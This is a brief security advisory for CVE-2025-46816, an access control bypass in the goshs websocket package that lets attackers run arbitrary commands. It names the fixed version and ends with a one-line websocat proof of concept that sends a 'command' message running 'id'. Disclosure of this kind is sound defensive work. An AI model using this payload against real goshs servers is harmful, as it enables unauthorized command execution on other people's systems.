Access Control Bypass Affecting github.com/patrickhener/goshs/ws package, versions >=0.3.4 <1.0.5
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- published13 Jun 2025
- disclosed6 May 2025
- creditGuilhem7
Introduced: 6 May 2025
CVE-2025-46816 (opens in a new tab)How to fix?
Upgrade github.com/patrickhener/goshs/ws to version 1.0.5 or higher.
Overview
Affected versions of this package are vulnerable to Access Control Bypass through the dispatchReadPump function. An attacker can execute arbitrary commands by sending specially crafted websocket requests.
PoC
echo -e '{"type": "command", "content": "id"}' |./websocat 'ws://192.168.1.11:8000/?ws' -t